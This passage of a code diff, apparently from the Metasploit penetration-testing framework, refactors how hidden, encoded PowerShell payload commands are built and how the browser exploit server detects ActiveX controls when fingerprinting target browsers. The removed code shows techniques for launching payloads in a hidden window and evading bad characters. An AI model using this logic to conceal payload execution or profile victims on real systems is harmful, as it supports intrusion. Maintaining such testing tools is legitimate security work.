Rex::Powershell::Command.generate_psh_command_line(opts) end # @@ -122,66 +104,7 @@ module Exploit::Powershell opts[:shorten] = (datastore['Powershell::method'] != 'old') end - arg_string = ' ' - opts.each_pair do |arg, value| - case arg - when :encodedcommand - arg_string << "-EncodedCommand #{value} " if value - when :executionpolicy - arg_string << "-ExecutionPolicy #{value} " if value - when :inputformat - arg_string << "-InputFormat #{value} " if value - when :file - arg_string << "-File #{value} " if value - when :noexit - arg_string << '-NoExit ' if value - when :nologo - arg_string << '-NoLogo ' if value - when :noninteractive - arg_string << '-NonInteractive ' if value - when :mta - arg_string << '-Mta ' if value - when :outputformat - arg_string << "-OutputFormat #{value} " if value - when :sta - arg_string << '-Sta ' if value - when :noprofile - arg_string << '-NoProfile ' if value - when :windowstyle - arg_string << "-WindowStyle #{value} " if value - end - end - - # Command must be last (unless from stdin - etc) - if opts[:command] - arg_string << "-Command #{opts[:command]}" - end - - # Shorten arg if PSH 2.0+ - if opts[:shorten] - # Invoke-Command and Out-File require these options to have - # an additional space before to prevent Powershell code being - # mangled. - arg_string.gsub!(' -Command ', ' -c ') - arg_string.gsub!('-EncodedCommand ', '-e ') - arg_string.gsub!('-ExecutionPolicy ', '-ep ') - arg_string.gsub!(' -File ', ' -f ') - arg_string.gsub!('-InputFormat ', '-i ') - arg_string.gsub!('-NoExit ', '-noe ') - arg_string.gsub!('-NoLogo ', '-nol ') - arg_string.gsub!('-NoProfile ', '-nop ') - arg_string.gsub!('-NonInteractive ', '-noni ') - arg_string.gsub!('-OutputFormat ', '-o ') - arg_string.gsub!('-Sta ', '-s ') - arg_string.gsub!('-WindowStyle ', '-w ') - end - - # Strip off first space character - arg_string = arg_string[1..-1] - # Remove final space character - arg_string = arg_string[0..-2] if (arg_string[-1] == ' ') - - arg_string + Rex::Powershell::Command.generate_psh_args(opts) end # @@ -196,41 +119,15 @@ module Exploit::Powershell # @return [String] Wrapped powershell code def run_hidden_psh(ps_code, payload_arch, encoded) arg_opts = { - noprofile: true, - windowstyle: 'hidden', + noprofile: true, + windowstyle: 'hidden', } - if encoded - arg_opts[:encodedcommand] = ps_code - else - arg_opts[:command] = ps_code.gsub("'", "''") - end - # Old technique fails if powershell exits.. - arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old' + arg_opts[:noexit] = (datastore['Powershell::method'] == 'old') + arg_opts[:shorten] = (datastore['Powershell::method'] != 'old') - ps_args = generate_psh_args(arg_opts) - - process_start_info = < 0 - psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload - elsif opts[:prepend_sleep].to_i < 0 - vprint_error('Sleep time must be greater than or equal to 0 seconds') - end - end - - compressed_payload = compress_script(psh_payload) - encoded_payload = encode_script(psh_payload) - - # This branch is probably never taken... - if encoded_payload.length <= compressed_payload.length - smallest_payload = encoded_payload - encoded = true - else - if opts[:encode_inner_payload] - encoded = true - compressed_encoded_payload = encode_script(compressed_payload) - - if encoded_payload.length <= compressed_encoded_payload.length - smallest_payload = encoded_payload - else - smallest_payload = compressed_encoded_payload - end - else - smallest_payload = compressed_payload - encoded = false - end - end - - # Wrap in hidden runtime / architecture detection - final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded) - - command_args = { - noprofile: true, - windowstyle: 'hidden' - }.merge(opts) - - if opts[:encode_final_payload] - command_args[:encodedcommand] = encode_script(final_payload) - - # If '=' is a bad character pad the payload until Base64 encoded - # payload contains none. - if opts[:no_equals] - while command_args[:encodedcommand].include? '=' - final_payload << ' ' - command_args[:encodedcommand] = encode_script(final_payload) - end - end - else - if opts[:use_single_quotes] - # Escape Single Quotes - final_payload.gsub!("'", "''") - # Wrap command in quotes - final_payload = "'#{final_payload}'" - end - - command_args[:command] = final_payload - end - - psh_command = generate_psh_command_line(command_args) - - if opts[:remove_comspec] - command = psh_command - else - command = "%COMSPEC% /b /c start /b /min #{psh_command}" + unless opts.key? :shorten + opts[:shorten] = (datastore['Powershell::method'] != 'old') end + template_path = File.join(Msf::Config.data_directory, + "templates", + "scripts") + command = Rex::Powershell::Command.cmd_psh_payload(pay, + payload_arch, + template_path, + opts) vprint_status("Powershell command length: #{command.length}") - if command.length > 8191 - fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)' - end command end + # # Useful method cache # module PshMethods - include Rex::Exploitation::Powershell::PshMethods + include Rex::Powershell::PshMethods end end end diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index f72415f7f2..8a70005a9e 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -49,24 +49,30 @@ module Msf # Requirements a browser module can define in either BrowserRequirements or in targets REQUIREMENT_KEY_SET = Set.new([ - :source, # Either 'script' or 'headers' - :ua_name, # Example: MSIE - :ua_ver, # Example: 8.0, 9.0 - :os_name, # Example: Windows 7, Linux - :os_device, # Example: iPad, iPhone, etc - :os_vendor, # Example: Microsoft, Ubuntu, Apple, etc - :os_sp, # Example: SP2 - :language, # Example: en-us - :arch, # Example: x86 - :proxy, # 'true' or 'false' - :silverlight, # 'true' or 'false' - :office, # Example: "2007", "2010" - :java, # Example: 1.6, 1.6.0.0 - :clsid, # ActiveX clsid. Also requires the :method key - :method, # ActiveX method. Also requires the :clsid key - :mshtml_build, # mshtml build. Example: "65535" - :flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE) - :vuln_test # Example: "if(window.MyComponentIsInstalled)return true;" + :source, # Return either 'script' or 'headers' + :ua_name, # Example: Returns 'MSIE' + :ua_ver, # Example: Returns '8.0', '9.0' + :os_name, # Example: Returns 'Windows 7', 'Linux' + :os_device, # Example: Returns 'iPad', 'iPhone', etc + :os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc + :os_sp, # Example: Returns 'SP2' + :language, # Example: Returns 'en-us' + :arch, # Example: Returns 'x86' + :proxy, # Returns 'true' or 'false' + :silverlight, # Returns 'true' or 'false' + :office, # Example: Returns "2007", "2010" + :java, # Example: Return '1.6', or maybe '1.6.0.0' (depends) + :mshtml_build, # mshtml build. Example: Returns "65535" + :flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE) + :vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;", + # :activex is a special case. + # When you set this requirement in your module, this is how it should be: + # [{:clsid=>'String', :method=>'String'}] + # Where each Hash is a test case + # But when BES receives this information, the JavaScript will return this format: + # "{CLSID}=>Method=>Boolean;" + # Also see: #has_bad_activex? + :activex ]) def initialize(info={}) @@ -105,68 +111,61 @@ module Msf super end - # + # Returns the custom 404 URL set by the user # # @return [String] - # def get_custom_404_url datastore['Custom404'].to_s end - # + # Allows a block of code to access BES resources in a thread-safe fashion # # @param block [Proc] Block of code to sync - # def sync(&block) (@mutex ||= Mutex.new).synchronize(&block) end - # + # Returns the resource (URI) to the module to allow access to on_request_exploit # # @return [String] URI to the exploit page - # def get_module_resource "#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/" end - # + # Returns the absolute URL to the module's resource that points to on_request_exploit # # @return [String] absolute URI to the exploit page - # def get_module_uri "#{get_uri.chomp("/")}/#{@exploit_receiver_page}" end - # + # Returns the current target - # def get_target @target end - # + # Returns a hash of recognizable requirements # # @param reqs [Hash] A hash that contains data for the requirements # @return [Hash] A hash of requirements - # def extract_requirements(reqs) tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)} # Make sure keys are always symbols Hash[tmp.map{|(k,v)| [k.to_sym,v]}] end - # + # Sets the target automatically based on what requirements are met. # If there's a possible matching target, it will also merge the requirements. # You can use the get_target() method to retrieve the most current target. # # @param profile [Hash] The profile to check - # def try_set_target(profile) match_counts = [] target_requirements = {} @@ -195,30 +194,36 @@ module Msf end end - # + + # Returns true if there's a bad ActiveX, otherwise false. + # @param ax [String] The raw activex the JavaScript detection will return in this format: + # "{CLSID}=>Method=>Boolean;" + # @return [Boolean] True if there's a bad ActiveX, otherwise false + def has_bad_activex?(ax) + ax.split(';').each do |a| + bool = a.split('=>')[2] + if bool == 'false' + return true + end + end + + false + end + # Returns an array of items that do not meet the requirements # # @param profile [Hash] The profile to check # @return [Array] An array of requirements not met - # def get_bad_requirements(profile) bad_reqs = [] - # At this point the check is already done. - # If :activex is true, that means the clsid + method had a match, - # if not, then false. - if @requirements[:clsid] and @requirements[:method] - @requirements[:activex] = 'true' # Script passes boolean as string - end - @requirements.each do |k, v| - # Special keys to ignore because the script registers this as [:activex] = true or false - next if k == :clsid or k == :method - expected = k != :vuln_test ? v : 'true' vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}") - if k == :vuln_test + if k == :activex + bad_reqs << k if has_bad_activex?(profile[k.to_sym]) + elsif k == :vuln_test bad_reqs << k unless profile[k.to_sym].to_s == 'true' elsif v.is_a? Regexp bad_reqs << k if profile[k.to_sym] !~ v @@ -232,7 +237,6 @@ module Msf bad_reqs end - # # Returns the target profile based on the tag. Each profile has the following structure: # 'cookie_name' => # { @@ -253,7 +257,7 @@ module Msf # # If the source is 'script', the profile might have even more information about plugins: # 'office' : The version of Microsoft Office (IE only) - # 'activex' : Whether a specific method is available from an ActiveX control (IE only) + # 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only) # 'java' : The Java version # 'mshtml_build' : The MSHTML build version # 'flash' : The Flash version @@ -261,45 +265,41 @@ module Msf # # @param tag [String] Either a cookie or IP + User-Agent # @return [Hash] The profile found. If not found, returns nil - # def get_profile(tag) sync do return @target_profiles[tag] end end - # + # Updates information for a specific profile # # @param target_profile [Hash] The profile to update # @param key [Symbol] The symbol to use for the hash # @param value [String] The value to assign - # def update_profile(target_profile, key, value) sync do target_profile[key] = value end end - # + # Initializes a profile, if it did not previously exist # # @param tag [String] A unique string as a way to ID the profile - # def init_profile(tag) sync do @target_profiles[tag] ||= {} end end - # + # Retrieves a tag. # First it obtains the tag from the browser's "Cookie" header. # If the header is empty (possible if the browser has cookies disabled), # then it will return a tag based on IP + the user-agent. # # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser - # def retrieve_tag(cli, request) cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s) tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first @@ -317,13 +317,12 @@ module Msf tag end - # + # Registers target information to @target_profiles # # @param source [Symbol] Either :script, or :headers # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser - # def process_browser_info(source, cli, request) tag = retrieve_tag(cli, request) init_profile(tag) @@ -361,23 +360,21 @@ module Msf }) end - # + # Checks if the target is running a proxy # # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [Boolean] True if found, otherwise false - # def has_proxy?(request) proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys !proxy_header_set.empty? end - # + # Returns the code for client-side detection # # @param user_agent [String] The user-agent of the browser # @return [String] Returns the HTML for detection - # def get_detection_html(user_agent) ua_info = fingerprint_user_agent(user_agent) os = ua_info[:os_name] @@ -418,11 +415,20 @@ module Msf d['office'] = ie_addons_detect.getMsOfficeVersion(); d['mshtml_build'] = ScriptEngineBuildVersion().toString(); <% - clsid = @requirements[:clsid] - method = @requirements[:method] - if clsid and method + activex = @requirements[:activex] + if activex + activex.each do \|a\| + clsid = a[:clsid] + method = a[:method] %> - d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); + var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); + d['activex'] = ""; + if (ax == true) { + d['activex'] += "<%=clsid%>=><%=method%>=>true;"; + } else { + d['activex'] += "<%=clsid%>=><%=method%>=>false;"; + } + <% end %> <% end %> <% end %> @@ -438,7 +444,7 @@ module Msf %Q|